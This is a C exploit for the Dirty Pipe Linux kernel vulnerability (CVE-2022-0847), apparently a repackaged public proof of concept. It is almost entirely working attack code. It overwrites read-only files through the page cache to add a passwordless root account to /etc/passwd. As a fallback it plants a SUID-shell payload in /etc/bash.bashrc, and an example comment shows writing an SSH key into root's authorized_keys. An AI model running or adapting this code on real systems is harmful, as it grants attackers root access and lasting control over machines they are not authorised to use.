/* Exploit Title: Linux Kernel 5.8 < 5.15.25 - Local Privilege Escalation (DirtyPipe 2) Exploit Author: Antonius (w1sdom) github : https://github.com/bluedragonsecurity web : https://www.bluedragonsec.com tested on : - linux kernel 5.13.0-21-generic (compiled on lubuntu 20.04.5) - linux lubuntu 20.04.2 - linux kernel 5.8 Original Author: Max Kellermann (max.kellermann@ionos.com) CVE: CVE-2022-0847 * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <max.kellermann@ionos.com> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' * * Further explanation: https://dirtypipe.cm4all.com/ */ #define _GNU_SOURCE #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/utsname.h> #include <ctype.h> int validate_kernv() { struct utsname buffer; int major, minor, patch; int is_vulnerable = 0; char *version_str; int len, compile_year; if (uname(&buffer) != 0) { perror("uname"); return 1; } version_str = buffer.version; len = strlen(version_str); compile_year = 0; for (int i = len - 4; i >= 0; i--) { if (isdigit(version_str[i]) && isdigit(version_str[i+1]) && isdigit(version_str[i+2]) && isdigit(version_str[i+3])) { compile_year = atoi(&version_str[i]); break; } } if (compile_year < 2023) { is_vulnerable = 1; } int fields = sscanf(buffer.release, "%d.%d.%d", &major, &minor, &patch); if (fields < 3) patch = 0; if (major == 5) { if (minor >= 8 && minor <= 14) { is_vulnerable = 1; } else if (minor == 15 && patch < 25) { is_vulnerable = 1; } } else { printf("[-] kernel is not vulnerable !!! quitting ..."); exit(-1); } if (is_vulnerable) { printf("[*] kernel is vulnerable\n"); } else { printf("[-] kernel is not vulnerable !!! quitting ..."); exit(-1); } return 0; } void prepare_pipe(int p[2]) { pipe(p); int capacity = fcntl(p[1], 1032); static char dummy[4096]; for (int r = capacity; r > 0; ) { int n = r > sizeof(dummy) ? sizeof(dummy) : r; write(p[1], dummy, n); r -= n; } for (int r = capacity; r > 0; ) { int n = r > sizeof(dummy) ? sizeof(dummy) : r; read(p[0], dummy, n); r -= n; } } int inject_payload(char *target, char *payload) { int fd = open(target, O_RDONLY); int p[2]; __off64_t offset = 1; prepare_pipe(p); fd = open(target, O_RDONLY); if (fd < 0) return 1; if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) { perror("[-] splice failed"); return 0; } printf("[*] injecting payload to %s\n", target); write(p[1], payload, strlen(payload)); return 1; } void bashrc() { char *target = "/etc/bash.bashrc"; char *payload = "\ncp /bin/bash /tmp/x; chmod +s /tmp/x\n#"; if (inject_payload(target, payload) == 0) { printf("[-] failed to inject payload !"); } else { printf("[*] payload injected to %s\n", target); printf("[*] you need to wait for root to login\n"); printf("[*] once the root logged in you will get suid shell on /tmp/x\n"); printf("[*] get root by : /tmp/x -p\n"); } } int toor_check() { FILE *fp; char path[1035]; fp = popen("su toor -c id", "r"); if (fp == NULL) { return 0; } if (fgets(path, sizeof(path), fp) != NULL) { if (strstr(path, "root")) { return 1; } } pclose(fp); return 0; } int passwd() { char *target = "/etc/passwd"; char *payload = "\ntoor::0:0:root:/root:/bin/bash\n#"; system("cp /etc/passwd /tmp/passwd.bak"); if (inject_payload(target, payload) == 0) { printf("[-] failed to inject payload !"); } if (toor_check() == 1) { printf("[+] exploitation success, getting root for you.\n"); system("su toor"); } else { printf("[-] failed on method 1, testing method 2\n"); return 0; } return 1; } int main() { validate_kernv(); if (passwd() == 0) { bashrc(); } return 0; }